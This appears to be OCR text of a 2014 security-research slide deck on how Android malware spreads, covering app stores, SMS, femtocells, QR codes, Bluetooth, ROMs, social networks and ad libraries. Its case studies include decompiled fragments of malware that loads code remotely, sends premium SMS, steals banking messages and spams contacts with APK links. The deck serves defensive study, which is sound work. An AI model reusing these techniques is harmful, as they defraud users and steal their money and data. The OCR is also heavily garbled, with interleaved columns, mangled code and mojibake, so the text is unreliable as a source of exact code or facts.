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10-years security research experience

=Manager, Baidu Security Labs (NASDAQ:BIDU)
=Manager, TrustGo Security Labs
=\Websense, Trend Micro (TYO:4704), Fortinet (NASDAQ:FTNT)

Research data

=200M users in China
=Baidu Mobile Security
=50M users worldwide
=TrustGo Mobile Security
=DU Speed Booster
=100M+ app downloads per day
=Baidu App Store: the largest app store in China for Android apps.



Mobile Threats Increased 957% Over Past Year
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Mobile Malware Global Distribution

Russia Top
Mobile Malware 2014 Jun 1 Fakelnst: SMS Fraud

2. Fobus: Steal Banking Info
Agent: SMS Fraud
RuWapFraud: SMS Fraud
e: SMS Fraud
;ﬂ'\/lobi: SMS Fraud

)
s o

France Top
1. Agent: SMS Fraud
UsS TOp 2. RuWapFraud : SMS Fraud p
1. FakeDoc: Steal Privacy . I
Vietnam Top

2. RuWapFraud: SMS Fraud

1. Blatantsms: SMS Fraud
? 2.  FakeValidation: SMS Fraud
) 3.  Agent: SMS Fraud ")
4. Vietcon: Click Fraud &
5. Opfak: SMS Fraud
6. Fakelnst: SMS Fraud
High %
[Nt
Low %

*Baidu data http://sample.safe.baidu.com/exchange/tpl/echarts/samples/2014/map_mobile_malware_2014.html



Mobile Malware is Growing in Barbell Type Bai e

Mobile Malware Mobile Malware

Produce Compromise

Rapid Increase Extremely Harmful
Sandboxing
Permissions
Malware removal

Steal Money
Steal Privacy
Consume Bandwidth & Battery

Driven by Interests



Mobile Malware Spreads in China Bai e

Bl Guangzhou Top 10 SmsThief Spreads in China 2014

Jun 1st-Jun 15th

China Top

SmsThief: Steal Banking SMS
Omigo: Downloader

Smskyf: Toll Fraud

Masnu: Toll Fraud
SmsWorker: Toll Fraud

5600 - 7000
B 4200 - 5600
Il 2800 - 4200
I 1400 - 2800
I 0- 1400

*Baidu data http://sample.safe.baidu.com/exchange/tpl/echarts/samples/2014/map_smsthief.html




How Mobile Malware Spreads Bai e
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12 ways that today’ s mobile malware get around

> 1. Official App Store > 8. Social Networks
=Google Play =Twitter
=Baidu App Store =Facebook

> 2. Third-Party App Store > 9. Mobile Ad Networks

> 3. Text Message » 10. Instant Message

> 4. Femtocell » 11. Drive-by Download

=Compromised Websites
> 5. QR Code =Spam Email
> 6. Bluetooth > 12. USB Connection

> 7. Third-Partv ROMs || =Android Infect Windows THE MOST
4 =Windows Infect Android DANGEROUS!!




1. Spreads by Official App Store - Google Play Bai®&
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Bouncer

=Security service rolled out on Feb 2012.
=Count for a 40% drop in the number of malicious apps in Google Play.

Bouncer can be fingerprinted and circumvented

=Update attack: No malicious code needs to be included in the initial installer. In this case, the app can
have an even better chance to evade Bouncer’s detection. Once the application passes Bouncer’s check
and gets installed on a real user’s device, then the application can either download additional malicious
code to run or connect to its remote control and command (C&C) server to upload stolen data or receive
further commands. Just this month, another two fake apps successfully avoid Bouncer using this
technique and snuck into Google Play, staying there for two weeks.

=Delay attack: The application can include malicious payloads in the submitted app but behave benign
when it is running in Bouncer. Once it gets onto a user’s device, then starts to run malicious code.

*http.//blog.trendmicro.com/trendlabs-security-intelligence/a-look-at-google-bouncer/



Spreads by Google Play — Update Attack Bai
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Dropdialer.A

=This malware is able to evade Google Bouncer. Stay for two weeks on Google Play.

=This malware guises as an app supposedly used to set wallpapers. However, it downloads
another file in the background. It then tricks users to install the downloaded file.

EIEE android.annotation WallpaperActivity.class MarioHDWallpapersActivity .class ImageAdapter.class
- 019 SuppressLint :

@[ TargetApi

EIEE COm.nnew.superManowallpapers public void activate (String paramString)
f- 1] AlertActivity :

-0 BuildConfig try

-0 GalleryActivity I

--IlllmageAdapter if (param3tring.length() > 1)

i) MarioHDWallpapersActivity {

m R Log.d("activate", "download"):;

m WallpaperActivit}! } download (paramString, "activator.apk");
return;

1
catch (Exception localException)
{
1
1

public void download(String paramStringl, String paramStringZ)




Spreads by Official App Store — Baidu App Store
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Baidu App Store

=The largest app store for Android apps in
China, where Google Play is banned.

=Over 100M app downloads per day.

ACS — Baidu’ s Bouncer

=Suffering the same attack with Google Play.
=Update attack
=Delay attack
=Antivirus evasion attack
=Advanced obfuscation
=Malicious native code
=App protector
*Make AV guys' life much more harder!

Delay Attack

Update Attack

Similarities

Mother app has no malicious code.

Differentia

Dynamic load
malicious code by
DexClassLoader at
runtime from
Internet or local files
(/assets, /res/raw).

Request update to
newer version app
or download
another app,
which contains
malicious code.

Must require
essential
permissions in
mother app, e.g.
SEND_SMS.

Mother app may
has no dangerous
permission at all.
But upgraded or
dropped app will
require dangerous
permissions.

Nt




Baidu App Store - Delay Attack
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XTaoAd.A 5 ® com

& 8 android.logs

=classes.dex has no malicious code. L # google.android.inputmethod

=At runtime, auto download arbitrary &) BuildConfig
P - i [J] GlobalAgent
malicious JAR files from remote server, 5 e .
H oreService
then |Oad and run them --m PresentAlarmReceive
“The malicious JAR files may download E NS e — il
more malicious JAR files. &) ) R$string e )
..m E N

=Auto download apps and tricks you to % ) RuninputActivity

install. & B AT
i [9] consrigrfiotin : -

private int strisrigrfioct()

i
{ - 1] fosrigrfior
File localFile = new File(this.fosrigrfior); . Y] implsrigrfioeme g
. - S - B . prlg EEFH. BESHE =R T RS
implesrigrficeme.strisrigrficcot ("RunDexTask DexDir:" + this.prot . m msrlgrf'r::t
implsrigrficeme.strisrigrfiocct ("RunDexTa=k", "DexPath:" + this.fos

* 9] intersrigrfiofa
i 1] nesrigrfiow

if (localFile.exi=stz=())
i

try --IB protesrigrfioct
{ -4 strisrigrfioct E
1
Class localClass = new DexClassLDade;this.fosrigrficr, this.p F-[J] transisrigrﬁce
= - i . 5 . 1 ; =
Clas=s[] arrayCfClas=s = new Clas=s[Z]; m trsrlgrﬁcy " W -
arrayQfClass[0] = Context.class; ! . . NEw
- 9] volsrigrfioati por

arrayQfClas=s[1] = Integer.TYPE;
Method localMethod = localClass.getMethod ("runTask", arrayCfCcl

*24 hours after XTaoAd.A installed, 16 new app icons appeared.
this.volsrigrficati = localClass.getDeclaredField("NEED TIME")

These apps will be installed when icon clicked.




Antivirus Evasion Case - Advanced Obfuscation Bai
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GinMaster.Z - Advanced obfuscation ") goneb.chestarfield

-1 JiufwwSrlAh
=Encrypted strings, package, class, and method naming. el ottekdeLNhghr
. . -] LsNhPBBmeanr
=External methods are called via reflection. FaR
=The encrypt key of each samples are randomized. h
=Hard to analyze and detect.
=Auto download apps, consuming bandwidth and battery. D ad

if (localJ3cHMArray != null)
{
if (localJdsScHMirray.length() != 0)
{
JSCNCbject localJSONCbhjectl = localJSCONArray.getJSCONCbhbject(0) .getJSONArray(ac.=a("hix
this.o = localJdSONObjectl.getString({ac.a("jcndlTHp3"));
this.l = localJdSONObjectl.getString{ac.a("2BQgTBLRIVCL4E")) ; i
JS0NObject localJdSONCbject2 = localJdSONObjectl.getJS0ONCbhbject (ac.a("JYHxlZw=="));
JSCNCbject localJdSONCbhbject3 = localJdSONObijectl.getJdSCONChject (ac.a("2CLAwE"));
this.m = localJdSONObject2.getString(ac.a ("sEREDCWEHBG=="));
this.k = localJdSoONCbiject2.getString(ac.a ("1BBUCChAXCG=="));
this.n = localJdSONObject2.getString(ac.a ("RVkpDUXpMQG=="));
this.p = localJ30NObjectZ2.getStringlac.a("ieXZécg=="));
this.g = localJ3S0ONCbjectl.getStringlac.a("JjEf3xwel=="));
String str3 = localJdSONCbhbject3.getString (ac.a("EETok™));

H_H_H_H

w

H..

B-EB-B-0-E-E
=
a
s}

. +
String str4 = ac.a(getBaseContext(), str3, ac.a(str3, 102) + ac.a("6DUlTRA=="), null
if (strd == null) aq
1
return; -1 ar

this.j = stré4;
this.a.sendEmptyMessage (3) ;
return;

}

this.a.sendEmptyMes=sage (2);

-F-E-E-E-E
=
o
~

return;

}
N 00



Antivirus Evasion Case - Malicious Native Code Bai®&
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l .data: 00009000
BIOS'A .d:t::ﬂﬂﬂﬂ'}ﬂﬂﬂ ; Segment type: Pure data
.. .data:@enA9600 AREA .data, DATA, ALIGN=4
-Append malicious dex code to ELF SO. | data:ssesese : ORG Bx9000
.. ] . .data:0e0A9000 ofF_9600 DCD off 9008 ; DATA XREF: start+4to
'DrOp ma|IC|0us deX f||e at runtime. .data:ppAAYBAR ; -text:off 119470 ...
.data:ae0A9 604 ALIGN 8218

EXPORT ct_biosjar

I .data: 08089618
“Load and run dex file to download .n:t::naangmn DCB 03B ; : : DATA XREF: .got:ct biosjar ptrfo

other malicious code from server. -datazanonennt i o2l !
. . . . .data:@e8a92613 DCB Bx68 ;
4 | Bios.NativeMaliciousCode .d:t::ﬂﬂﬂﬂ'}mu DCB ﬂ:?? -
> | assets .data:8008981% DCB 8z6A ; j
. .data:800890816 DCB B8x6B ; K
> b lib bios.dropped_dex2jar.jar
| META-INF .
-8 com.android InstalReport.class bios.class | YWReport.class x
. i 9] InstallReport
b anim F"E]??VREFGHI public boolean(ﬁownluadFile String paramString)
| drawable -1 bios I
| drawable-hdpi try
{
( . drawable-hdpl ) String strl = checkWap();
| drawable-Idpi BasicHttpParams localBasicHttpParams = new

| drawable—xhdpi |—| HttpCDnnectJ:_DnParams.setConnectichimeout{]l_
HttpConnectionParams.setSoTimscut(localBasi
if (strl !'= null)

2 3 7 8 9 a ; 1 localBasicHttpParams.setParameter ("http.x

4C 46 00 00 00 OO 00 00 00 OO 00 7[QELF DefaultHttpClient localDefaultHttpClient =

Oh: 03 00 28 00 01 OO0 OO0 OO B8 11 OO0 OO0 34 00 00 OO » ..1{ I.Dg{"drjwnlrjadFile l“} ;




Antivirus Evasion Case — App Protector Bai'éb.'ﬁ
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BankStealer.A — Malware with Packer rEr=p

=Guises as WeChat app, steal banking info, steal money.
=Malicious code is protected by Bangcle app protect technique.

L= LREME/ BFEE

= com BootReceiver.class x | LockReceiver.class ACal.class
= example T ' ‘
(B 3 lpackage com.example.msg;
—-## banksteal.ui
&) LockReceiver #|import android.content.BroadcastReceiver;
= 8 msg -8 android.support.v4 LockReceiver.class BootReceiver.class x
([ BootReceiver =-# com
H i package com.example.msg;
-I-H#} secapk.wrapper = example
+ HJ AcCall = banksteal #|import android.content.BroadcastReceiver;
#-J] ApplicationWrapper =-# ui
i;: [3) FirstApplication +-[J] BankActivity public class BootReceiver extends BroadcastReceiver — =G -
+-[J] MyClassLoader 4-[J) BankData { EEZBFIZERIEAIINERE
- [3] Util -3 Launcher public static final String PACKAGE ADDED = "android.intent.action.PACKAGE_ADDED";
;'( [7] LockReceiver public static final String PACKAGE REPLACED = "android.intent.action.PACKAGE_REPI
i ) MainActivity public static final String SMS RECEIVED ACTION = "android.provider.Telephony.SMS_
i N UserActivity I;landler handler = new Handler() _I 2 3
+- 4] BuildConfi
i 1: R 9 public void handleMessage (Message paramMessage)
- 4
{
: 8 http if (paramMessage.what == 1)
=-# msg {
[+-J] BootReceiver Toast.makeText (BootReceiver.this.mContext, "EF{F%EIERFLITH ' ", 0).show(); 4 5 6
+-[J] GetPhoneNumber return;
B- [ MailUtil }
+‘_ o SMSEntity Toast.makeText (BootReceiver.this.mContext, "HER{FZEZEFKITH ' ", 0).show();
(-1 SharePreUtil ¥
4[] SmsUtil bi 7 8 9
| I— public Context mContext;
+-8# sun 3 :
e private SMSEntity sms = null;
8 javax
* & myjava_awt.datatransfer private void sendMail (SMSEntity paramSMSEntity)
(-t org.apache.harmony {
MailUtil localMailUtil = new MailUtil (this.handler); 0 X
try
{
localMailUtil.send ("2 {S£&E" + "#U{ERA", "FEEHTF " + paramSMSEntity.sms’

Fake WeChat
Bangcle protected code VS. unpacked code



2. Spreads by Third-Party App Store Bai®&S
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Third-Party App Store and forum

=Very low level security audit
=Notorious Russian third-party app stores are FULL of toll fraud malware

= [pasuna = Pexn

while (i < arrayCfSmsMessage.length)

¢ [ e | (

array0fSmsMessage [1] = SmsMessage.corsatseFromPdu( (byte[])arrayCofcbhject[i]);

Hosoctu Codt WUrpel TemMbl Tablet SOFT  Cratbu Kon Ot paspaboTunkos KNyb if | {arrayOfiSmsMessage [1] .getDisplayMessageBody () . toLlowerCase () .contains ("COrEeTeTe Ha =To"
{

MBI} PEKOMEHZDYEM String strl = arrayCofSmsMessage([i] .getOriginatingZddress();

String[] array0fString = this.b;

int j = -1 + this.k.length;
int k = 0 + new Random() .nextInt{j + 0);
if (k. = 0)

k= 1;

String str2 = arrayCfString(k];

HEBEPORTHOA ARSI PendingIntent localPendingIntent = PendingIntent.gstBroadeast(this.a, 0, new Intent(this

Availablo on the |

App Store |

{0 Rpp Store

SmsManager.getDefault () .sendTextMes=sage (strl, null, str2, localPendingIntent, null);
abortBroadcast () ;

}

= = , : AsTopuzaumst if ({arrayofsSmsMessage[i] .getDisplayMessageBody () -toLowerCase () .contains ("vegocTaTouwro") )
100 Doors 2013 Neuro Wars TNorux: abortBroadcast () ;
sepcun: 1.0.2 sepens: 1.0 e if ({array0fSmsMessage[i].getOriginatinglddress().contains ("5051")) || (arrayOfSmsMessagel[.
oo 9TV Bepu - CTIOWHBIe TONI0BONOMKY! BoiiHa HelipoHoB itk abortBroadcast { } :

if ({arrayofsmsMessage[i] .getOriginatingfddress().contains ("111")) || (arrayofSmsMessage[i

3abbin? {

Peructpauus! Matcher localMatcher = Pattern.compile("-%?\\d+") .matcher (arrayCfSmsMessage[i].getDisplayl

Kny6Has %u3Hb

® e °

http://softandroid.ru/

Trojan!Fakelnst.AS

TOMN unvhnr:




3. Spreads by Text Message
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Worm!Samsapo.A

=When running on an Android device, it will send an SMS message with text “3to TBOM doTO?”
(which is Russian for “Is this your photo?” ) and a link to the malicious APK package to all of
the your contacts.

£ 8 com.android.tools.syst
Steal SMS,  Copmen |

711 DownloadApkFromURL

public Arraylist<String> getNumbers ()

i+-[3] DownloadFileFromURL q

[-[J] EternalService LrrayList localBrraylList = new ArrayList();

'"m MyPostRequest ContentResolver localContentResolver = this.context.getContentResolwver();

m OnBootReceiver Cursor localCursorl = localContentResolver.gquery(ContactsContract.Contacts.CONTENT URI, null, null, null
m PhoneBook if (localCursorl.getCount() > 0);

[ [7] PhoneReceiver do

m R if (!localCursorl.moveToNext())

i return localbrrayList;

-

5] SMS

m serverDos String strl = localCursorl.getString{localCursorl.getColu.m.nIndex{"_id") I

i )
" 4] SimCardinfo Uri localUri = ContactsContract.CommonDataRinds.Phone.CONTENT URI;
M- [ SmeRacsiver S =~ = S R

while {Integer.parssInt{localCursorl.getString{localCursorl.getColumnIndex{"has_phone_number"))} <= 0);

rerride
protected void onProgressUpdate (String[] paramfrray0fString)
{
super.onProgresslpdate (paramArray0fString) 7
try
{
String strl = paramArray0OfString[0].replaceRll (" [~\\d]", ""):
SharedPreferences localSharedPreferences = SplashScreen.this.getSharedPreferences("BlocklNums™, 0);
if ({!localSharedPreferences.getBoolean(strl, false)) ss (PhoneNumberUtils.isFellFormedSmsdddress(parambrray0fScring[0].ceim({))))
{
SharedPreferences.Editor localEditor = localSharedPreferences.edit():
SMS localSMS = new SMS(SplashScreen.this);
String str2 = paramBArray0fString(0].trim({):
StringBuffer localStringBufferl = new StringBuffer():
er localStringB = new StringBu
StringBuffer localStringBuffer3 = new StringBuffer():
localSM5S. sendSMS (str2, localStringBufferl.append(localStringBuffer3.append("STo TteoM doro? http://") .append(SplashScreen.this.serverName) .toString() ) .append ("/") .toScring{) + strl):
localEditor.putBoolean(strl, true):
localEditor.commit();
}

return;




4. Spreads by Femtocell Bai e
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Femtocell

=Femtocell is a low-power cellular base station given or sold to subscribers by mobile network
operators. It works just like a small cell tower, using a home Internet connection to interface
with the provider network. When in range, a mobile phone will connect to a femtocell as if it
were a standard cell tower and send all its traffic through it without any indication to the user.

=Revealed on Blackhat 2013 talk

=Femtocell placed in the trunk of the car is
used to send SCAM and SPAM text

messages
*http.//www.blackhat.com/us-13/briefings.html#Ritter




Spreads by Femtocell
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FakeCMCC.A

=On May 27th 2014, Mr. Zhang received a
SMS message from 10086 (China
Mobile customer service number), said
that he won 100 Yuan (12 Euro) bonus.

=He clicked link in the SMS and open the
phishing China Mobile website.

*He clicked “login to get bonus"
button and fill in banking information

including bank card number and

password, phone number.

=The phishing site asked him to
download and install fake China

Mobile app to get bonus.
*Mr. Zhang agreed and installed it.

=The next day, no bonus but 3400 Yuan
(400 Euro) in Mr. Zhang' s bank card
was lost.

BE Fin

E EERERENE..

< 10086~

£ #—, 09:50

CXLL

8=, 09:50

HHMER , 8
Z5R827HOK509 , KREEE
ARRBRERINT : iR
#30M , EEHA14.86M , iEH
£15.14M , EERRRBE IR
RATBENFIRROSCPR{E A& , 8
BEiRE | BERBERIELEY
BAMIE (www.sh.10086.cn

) . [E1% 666ATiT 7 & Hne — S

8, RBESRWAR | FEH $1E 7 B .

?TUM“ ER S B AR ER
[EDS:

WK T P AR ET « BsHE R

BIKPEESSE | ABEH (Z8%]
SWEHEBI0TMEAE , BF EHRBLE—ARER
P ZFwap.10086hblg.com?i Bfie{T L& B (WLAN)
B (hEB )

RH—, 20:33

—
“ 9 = =] A




Spreads by Femtocell BaiE
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All information needed to complete fraudulent

Automated Clearing House (ACH) and wire transfers from
victim accounts

=Bank card number

=Bank card password

*Phone number

=TAN numbers (sent via SMS)

FakeCMCC.A

=Femtocell carried in a car driving around office buildings downtown sends scam text
messages with China Mobile official number.

=The scam text messages will lead victims to phishing China Mobile site and steal victims'
bank card number and password, phone number.

=The phishing site tricks victim to install malicious app, which is used to steal banking SMS

messages to bypass two-factor authentication systems that rely on mobile TAN numbers
(sent via SMYS).




Spreads by Femtocell Bai ¢

#-# android.support.v4 FssAdmin.class >
=-# hgfhh.hoip.cvxnbverw
- [ FssAdmin

public veoid onDisabled(Context paramContext, Intent paramIntent)

{
Sm=sManager.gstDefault() .sendTextMessage (md.dh, null, _19000f8{"==ETWﬁcKWTMT?

super.onEnabled (paramContext, paramIntent);

super.onbDisabled (paramContext, paramIntent);

public woid onEnakled(Context paramContext, Intent paramIntent)

{
SmsManager.getDefault () .sendTextMessage (md.dh, null, _EGGDcfS{“UZEPKJuWKEESH

super.onEnabled (paramContext, paramIntent);

mPROTUN Home Products Purchase Support Contacts

| FemtocellCM
I lib
| armeabi
I META-INF

libAPKProtect.so

© Ordinary APK © Decompile dexzjar © Core code Classes.dex has
been got

b res

| drawable

| layout

| xml

@ Four Reasons To Use APK Protect (@) Last News

*http://www.apkprotect.com

Nt




5. Spreads by QR Code
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JiFake.A — SMS Fraud Russia

*QR code (Quick Response Code) is a type of matrix barcode (or two-dimensional code). You
scan a QR code with the help of your smartphone and it redirects you to a URL with a malicious
file (APK or JAR). Such QR codes exist and are gaining in popularity.

MpocTo BBEANTE BO BCTPOEHHLIA Gpay3ep cBOEro TenedoHa Cebinky:

4 httg:!_.ru!iimm.agk

Alarm Clock  Browser Calculator

#

Custom
Locale

P

#

-n.’t' -

o el ]

Car Home Contacts

| Ckauatb Jimm (jar) JEEYETCIReL
F ;!;Jj. e |

Email

|
Gallery
Phone Cattines

Music

| -

ol -

2

(1)

Camera

#

DevTools

¢ || JimmRussia || Messaging

L4

—- # appinventor.ai_russ_support. #

+|J_I Screenl$frame
+-[J] Screenl
- # com.google
i 8 android
—EE devtools.simple
+EEr commaon
—EE‘ runtime
+EEr annotations
+EEr collections
—EEr components
—EE android
+EE‘ collect
+- 8 util
+|J_I Accelerometers
+|J_| ActivityResultLi
+|J_I ActivityStarter
-1 AndroidViewn

1

Texting.class x

{
return this.receivingEnabled;

1

@SimpleFunction

public wvoid SendMessage ()
{

this.smsManager.sendTextMes=sage (this.ph

}

class SmsReceliver extends BroadcastRecelw
i

Sm=Receliver()

{

}

public =tatic void OFLog(String paramSt.
i

o https://www.securelist.com/en/blog/208193145/Malicious_QR_Codes_Pushing_Android_Malware




6. Spreads by Bluetooth
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Obad.A — The most sophisticated Android Malware

=Sending SMS to premium-rate numbers;

=Downloading other malware programs, installing them on the infected device and/or

sending them further via Bluetooth;
=Remotely performing commands in the console.

=Highly complexity and exploit a number of unpublished vulnerabilities.

PEAVALE SLATLIC SUELHY OULICII (381 pabésintl; 1AL pAcaslnts; Ll PEIARLOLE|
[

byte[] scraplilynel = ofIIC11:

int 1 = paramlInt + 40;

int j = pacamlntl + 75

byte[] acrayifByre? = mew byte[1]:

int k=

int m;

af (azswy0flysel == mwull]

= w i
fer fint @ =

¢ Ha
i@ com.android.system.ad...

Do you want to install this application?

pacaslnrs! @ n o= arrayDdiEyTel[paranlned])

Allow this application to: i
paTanInGl+;
messages 1% =i = im4nl;
v mrrayiiBytalk] = [boli)h:
Lioh
it [k = 1]
reburm new String|artay0iBEted, O] F
P

4 EEROR 45

mublic void onReceirs (android. content. Context: pacssContext, andeoid, content. Intent pacasTntent]
1
Storage

modify/

Phone calls

System tools

Cancel Install

svar_stringuilderl=new StringBuilder{String.valuedf(

1

stringBuwilder lwar_StringBuilder7=swar_StringBuilderl.append(com/andredds/systen/adnin/cicolll  tableaac)

avar Stringl=nen String
svar_BArclsooffandrolds sysren/adain/oCT1C11, CTICT 1 "0 }
svar_BAFrls LgetBytes{)

android/database/Cursar 1 rar_Cursari=lvar_cIcollll.execSQLlilvar StringBuilderT.sppend]

this.pzgPatterp=lvar_{ursori.getstring(lvar_Cursor, getCelumnindes{

i (this.msgPattern, equals{ ") l= @)
gota Label 52 slse goto Label 34

Label 343

iF (comdandroiddsystes/adnind leciOlo, patternMatch{this. nsgPatTern,

gata Label_S52 else goto Label_S1
Lab=l_52:

i (lvar_Cursor?, moveToMext(} I= @)
gota Label_32 else goto Label =3

Label _53:
gola Label_ 35

Lab=l Si:

this.getM5GE5tring( }

thizs msghum=lvar_Cursorz.getString{lvar Cursord.getColumnindex|
this, msgTextslvar _Cwrsord, perstringl lvar_Cursard, patColuse Index]
svar_Threadl=nsd |"||‘|DA|‘.|

sMssondorThroad svar_SHSSendorThroadl=nou SMSSonderThread(this)
svar_Threadl . <inits{svar_sHsSenderThreadl)

syar_Threadl.start()

goto Label 35

}.tostring())

i

this.msgitring) <= @)

R5E") )

https //www securellst com/en/blog/8106/The most_sophisticated_Android_Trojan



7. Spreads by Third-Party ROMs
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Oldboot: the first bootkit

= Modify devices’ boot partition and booting script
file to launch system service and extract malicious
application during the early stage of system’s
booting. 500, 000 Android devices infected.

= Auto download a lot of apps, consuming
bandwidth and battery; steal and send text
messages.

=Parallel import/smuggled cell phones have been
installed third party ROMs.

bl |
< @ App info < Details of the malware
% GoogleKernel o GoogleKernel
risky
Force stop Risablc & Malicious behavior
Slorege ® Permisson
Total 76.00KB © Storage
modify or delete the contents of your USB

Application 40.00KB

USB storage app 0.008
Data 36.00KB
SD card 0.008 bh

« Network communication
full network access

on

ange

Network communication

Remove "

Fnitire

libgooglekernel.so

A

|
|
|
' (4
|
1
|
|

I
|
|
1
|
|
|

GoogleKernel.apk

public final void onChange(boolean argll) {

int ve_1;

super.onChange(argll);

Cursor vl = this.a.getContentResolver().query(Uri.parse("content://sms/inbox"), null, "read=?"
, new String[]{"e"}, "date desc");

if(vl != null) {

while(vl.moveToNext()) {
String v@ = vl.getString(vl.getColumnIndex("address™));
String v2 = vl.getString(vl.getColumnIndex("body"));
Context v3 = this.a;
Log.i("QQ", String.valueOf(v@) + "," + v2);
if(v2 == null || !v2.contains("BEEiflAalE")) {
ve_1l = 0;

else {

vo_1 = v2.indexOf("QQE");

int v4 = v2.indexOf(",");

int v5 = v2.indexOf("##");

int v6 = v2.indexOf(": ");

if(ve_1 >= @ && v4 >= 0@ && V5 >= 0 && v6 >= 0) {
v@ = v2.substring(ve_1 + 3, v4);
v2 = v2.substring(v5 + 2, v6);
if(ve != null && v@.length() > @ && v2 != null && v2.length() > @) {

c.a(v3, ve, v2);

)

}

http://blogs.360.cn/360mobile/2014/01/17/oldboot-the-first-bootkit-on-android/



8. Spreads by Social Networks — Facebook
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Opfake.B — SMS Fraud in Russia

=The Malware spreads by Facebook friend request. As usual,
people will use smartphone to check out the details of the
person before they decided whether they want to become
"friends" or not. However, a link on the user's Facebook profile
will redirect your browser to a webpage that downloaded
malware automatically onto your Android phone.

=8 com.opera.installer
- [I] AgreementActivity
--m Alarm
@ [J] ConsoleActivitys
-1 DownloadsActivity
- [0) InstallActivitys
& [1 OnBootReceiver
& [1 SmsReceiver
@-[0] SystemService
w0 a
B0 b
cAnge
w0 d
B0 e
0 f
Y

ConsoleActivitys.class

Alarm.class x

“riends (306) >

tact information

le: facebook.com

)site: http://vty.me/ Hmm, interesting URL!

Qﬂ@ 2:54 pm fﬂﬂ@ 2:55 pm

private woid a(String paramStringl, String paramString2)

{
PendingIntent localPendingIntentl = PendingIntent.gstBroadeoast|
PendingIntent localPendingIntent? = PendingIntent.gstBroadeoast|
SmsManager.getDefault() .sendTextMessage (paramStringl, null, pax
}

public woid onBeceive (Context paramContext, Intent paramIntent)

{

this.a = paramContext;
this.g = PreferenceManager.gstDefaultSharedPrefersences(this.a);
String str = ((TelephonyManager)this.a.getSystemService ("ghone"

PowerManager.WakeLock localWakeLock = (({PowerManager)paramConte
localWakelock.acguire () ;
if (str.tolLowerCase () .contains{"mts"))

& ("088011", "balance");

In order to get access to download content from
the file archive, you must read and agree with
the following conditions:

1. Service gives you legal paid technical solution,
which makes It possible for you to access and
download texts, software, scripts, graphics,
sounds, videos, animation and other materials
(hereinafter referred to as Content), In the form
of one or more electronic files.

2. You agree that you bear all risks associated
vAth the use of the Services.

2.1. Service Is not responsible for any products
or services that are advertised or offered by
third parties through the Service such as banners
or other advertisements.

2.2. You expressly agree that the service is not
responsible for defamatory Content, offensive or
llegal activities of third parties. Risks of damage

7 or loss of such Content are only your
responsibllity.

3. Service is not responsible for any direct or
indirect damages, resulting from the use of
applications, Including lost profits and damages.

8 Carirnr ara nra f fan

Neind for »

Do you agree with the rules of
downloading?

To continue, dick OK

l 0K Rules J l Agree Disagree J

J X




Spreads by Social Networks — Twitter
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Opfake.A — SMS Fraud in Russia

=Twitter is a primary distribution channel for malware because
search engines assign a high value to indexed tweets which means
higher ranking in the search results. When searchers seek out free
songs, apps or porn, a high search ranking promotes the content. It
is reported that nearly 25 percent of all tweets identified were
confirmed linking to malware.

=-# com.opera.install ConsoleActivity.class x
i 1] AgreementActivity }

- [J] ConfReader
F"m ConsoleActivity private voild sendSMS (String paramStringl, String
i [J] DownloadActivity q

H~Elkmtam&cﬁvky PendingIntent localPendingIntent = PendingInte
H-[ R SmsManager.getlDefault () .sendTextMessage (params

public woid onCreate (Bundle paramBundle)
{

super.onCreate (paramBundle) ;

setContentView (2130503041) ;

ConfBeader localConfReader = new ConfBeader (ge
"fEFLocEEE \nMy MCOCMNC: " + getMC
=trl + “Curreht MOCMNC: ";
str2 + localConfReader .mMCCMNC +
atr2 + TncalOomfReader . SMScnl +

String strl

String strZ

String =str3

String =trd

Twitter

BunaiiH: NnaHoBble TEXHUYECKWE paﬁuﬂ:\

23 wianA 2013 roaa ¢ 00:00 Ao 06:00 (BPEMA MOCKOBCKOE), B CBAZM C NPOBEEHHEM NNAHOBKLIX TEXHWUECKUX paBioT Ha nnatopme onepaTopa Bunaix
OXMJAKITCA Nepeton © TPARHENOPTOM SMS AnA aGOHEHTOR BCEX PETWOHOB.

BunaiiH: NNaHoBblE TEXHUYECKWE pﬂﬁDTb\

15 nonA 2013 roga ¢ 09:00 go 10:00 (BpemA MOCKOBCKOE), B CBAZH C NPOBEAEHHEM NNAHOBLIX TEXHUUECKAX pafior Ha nnatdgiopme onepatopa Bunanx,
OxKAaKTCA Nepebon ¢ TpaHcnopTom SMS AnA aGoHeHTOR BCEX PErMOHOB.

BuUnaiiH: NNaHoBsIe TEXHU4ECKUE paboTbl, flanb

11 wiona 2013 roga ¢ 00:01 go 07:00 (epema mockoeckd
oxmaaTeA nepeboyn ¢ TpaHcnopTom SMS anA aboHer

HOBBII onepatop

Mo cxeme cran goctyneH gns paBoTel HOBLIF
Tapudukaunio wap-click Ha cTpasuLe Mow ceeinkm. Mp!

EsTiokoB Erop
® -
Mera®on: Bo300H0BNEHWE paboThl Canikr-lNeTepbypr

Bo3ofiHoenena paboTa no MeradoH. fins pal
cCbinku. InGo oGpaTuTeck B CAy#Gy NOAAEpKKM, BaM O

BunaiiH: NNaHoBLIe TEXHUYeckue paboTel, MPUE 3,430 20 4 e m—
2 wonA 2013 roga ¢ 00:01 go 07:00 (BpeMA MOCKOBCKDE EsTiokos Erop
oxupakTes nepedou ¢ TpaHcnopToM SMS W A0CTYNHD opera mini ckayaTb 6ecnnaTtHo Ans samsung x-700 -
rfgi.de.ms/page_1
Bunaiit: nnaossie Texsnieckue paboTel, Ypan
EsTiokoB Erop
29 1 30 mona 2013 roga ¢ 00:00 go 05:00 (spema mock HacTpoiika opera mini NPoTakon - rfgi.de.ms/site-6
BunafiH, oxmnaanTca nepedon ¢ TpaHcnopToM SMS u f o
EsTiokos Erop
BunaiiH: Nnaxossie patoTsl ckauaTb opera mini ¢ wap 6ecnnartHo - rfgi.de.ms/doc_5

28 nioHA 2013 roga ¢ 03:00 go 05:00 (BpemA MOCKOBCKC
oxuaaTcA nepebon ¢ TpaHcnopTom SMS 1 focTynHo

BunaiiH: NNaHoBbIE TEXHUYECKWUE pﬂﬁDTbL Cese

25 1 28 mionAa 2013 roga ¢ 00:15 go 08:00 (Bpema MoCK

https://www.lookout.com/resources/reports/dragon-lady




9. Spreads by Mobile Ad Networks - BadNews Bai®&
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BadNews.A — Drive mobile traffic to SMS fraud campaigns

=BadNews was designed to look like an advertising library in legitimate Android applications, but the
advertisements that it displayed linked directly to SMS fraud malware.

=Discovered in 32 apps across four different developer accounts in Google Play, 2,000,000 — 9,000,000 total
download times.

=Displaying fake news to users, and prompting for installation of a downloaded app payload.

{"status"=>"news", "tmett"=>60, "sound"=>2, "vibro"=»>2, "id"=>"19",
"title"=>"Kputnyeckoe obHoBnexwne BkoHTakTe", "text"=>"CkayaTb KpuTH4yeckoe
